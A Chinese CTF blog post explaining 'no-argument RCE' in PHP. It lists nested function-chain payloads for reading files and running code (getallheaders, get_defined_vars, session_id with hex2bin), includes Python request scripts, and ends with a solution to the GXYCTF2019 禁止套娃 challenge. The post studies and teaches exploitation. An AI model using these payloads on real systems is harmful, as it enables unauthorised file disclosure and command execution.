0%

无参数rce

无参数rce

这是今天打tgctf2025题的时候,遇到的问题,秉持着遇到问题就解决的思想,写下这篇博客,系统的研究无参数rce,废话不多说

什么是无参数

就是使用函数的时候不能带有参数,具体来说就是各种函数的嵌套,利用各种函数的返回值

常见函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

1
2
plaintext
?code=print_r(getallheaders());

数组会返回 HTTP 请求头。

get_defined_vars()

1
2
3
getallheaders()`是有局限性的,因为如果中间件不是`apache`的话,它就用不了了,那我们就介绍一种更为普遍的方法`get_defined_vars()`,这种方法其实和上面那种方法原理是差不多的,它并不是获取的`headers`,而是获取的四个全局变量`$_GET $_POST $_FILES $_COOKIE
plaintext
?code=var_dump(get_defined_vars());

var_dump可以把返回数组打印出来。

getenv()

获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本

1
2
plaintext
?code=var_dump(getenv());

php7.0以下返回bool(false)

php7.0以上正常回显。

1
2
plaintext
?code=var_dump(getenv(phpinfo()));

phpinfo()可以获取所有环境变量。

scandir()

文件读取

查看当前目录文件名

1
2
plaintext
print_r(scandir(current(localeconv())));

读取当前目录文件

1
2
3
4
5
6
7
8
9
10
11
12
plaintext
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

1
2
3
4
plaintext
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

1
2
3
4
plaintext
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径

无参数读取文件

查看当前目录

1
print_r(getcwd());

print_r(scandir('.'))查看当前目录下所有文件,以数组的形式输出。

但是要怎么构造.呢

使用localeconv()

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是 .

  • current() 返回数组中的单元,默认第一个值。

    所以我们输出 print_r(scandir(current(localeconv())));也会如同 print_r(scandir('.'))打印当前目录下文件名。

  • 使用 print_r(scandir(pos(localeconv())));,pos是current的别名

  • reset()函数将内部指针指向数组中的第一个元素,并输出。

    相关的方法:

    • current()- 返回数组中的当前元素的值
    • end()- 将内部指针指向数组中的最后一个元素,并输出
    • next()- 将内部指针指向数组中的下一个元素,并输出
    • prev()- 将内部指针指向数组中的上一个元素,并输出
    • each()- 返回当前元素的键名和键值,并将内部指针向前移动

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

1
2
php
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

current()和pos()

pos()函数是current()函数的别名,两者是完全一样的,

它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。

chdir()

这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')

array_reverse()

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

highlight_file()

打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

查看上级目录方法一:dirname()

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

1
?code=print_r(scandir(dirname(getcwd())));

方法二:构造”..”

1
2
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
next(scandir(chr(ord(hebrevc(crypt(time()))))))

chdir() :改变当前工作目录

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

读取目录的函数

1
2
3
4
5
show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()

无参数命令执行(RCE)

用其他变量辅佐eval传入参数

1
2
3
4
5
6
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

getallheaders()

getallheaders()获取全部 HTTP 请求头信息

apache_response_headers() 获得全部 HTTP 响应头信息

这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。

get_defined_vars()

它能获取到以下变量

1
2
3
4
$_GET
$_POST
$_FILES
$_COOKIE

如何利用file变量进行rce呢?

1
2
3
4
5
6
7
8
9
10
import requests

files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_id()

session_id(): 可以用来获取/设置 当前会话 ID。

session需要使用session_start()开启,然后返回参数给session_id()

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

(PHP5.5 -7.1.9可行)

1
?code=show_source(session_id(session_start()));

其他版本可考虑用hex2bin() 将十六进制形式的命令还原。

1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

getenv()

getenv() 获取一个环境变量的值(只适用于7.1以后版本)

通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

那么如何读取其他文件

  • array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组。

1
2
readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

如果目标文件不在当前目录呢?

  • dirname() :返回路径中的目录部分,

    从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

  • chdir() :改变当前工作目录

    1
    print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
  • 构造”..”

    print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是”..”,所以可以用next()获取

    1
    print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

    结合上文的一些构造都是可以获得”..”的 :

    1
    next(scandir(chr(ord(hebrevc(crypt(time()))))))
  • 读取上级目录文件

    直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,前面写到了chdir(),使用:

    1
    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

    如果不能使用dirname(),可以使用构造”..”的方式切换路径并读取:

    但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

    1
    2
    3
    4
    5
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
    或更复杂的:
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
    还可以用:
    show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

    还有:

    1
    if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

三、实战例题-[GXYCTF2019]禁止套娃

这道题目打开就是一个普通的页面,经过目录扫描会发现是git源码泄露,用Githack把源码弄出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

代码分析

首先看第一行关键代码:

1
2
plaintext
!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])

很明显,大概意思就是不让我们用伪协议去写或者是读文件。

然后看第二行关键代码:

1
2
plaintext
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

再看第二个正则,中间有一个(?R),这个式子他会递归调用当前的正则表达式,就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,也就是无参数函数校验。

最后第三行关键代码:

1
2
plaintext
!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])

就是屏蔽了一些函数名的关键字之类的东西。

分析完成我们整理一下:不能用伪协议 、只能用无参数函数形式、注意函数过滤

解题步骤

首先遍历当前目录:

1
2
plaintext
?exp=print_r(scandir(current(localeconv())));

顺利得到目录。

方法一:

可以看到flag.php是倒数第二个,那我们把它反转一下,然后再用一个next()就是flag.php这个文件了:

1
2
plaintext
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

已经很接近答案了,用highlight_file读取这个文件就拿到flag了:

1
2
plaintext
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

思路总结

1
2
3
4
5
plaintext
scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

方法二:

我们已经知道了flag就在当前目录下了。
array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。
用这两个函数就可以实现对flag.php的读取。最后payload如下:

1
2
plaintext
?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));

因为array_rand()的选取是随机的,所以不一定会直接出来,多刷新几次就可以了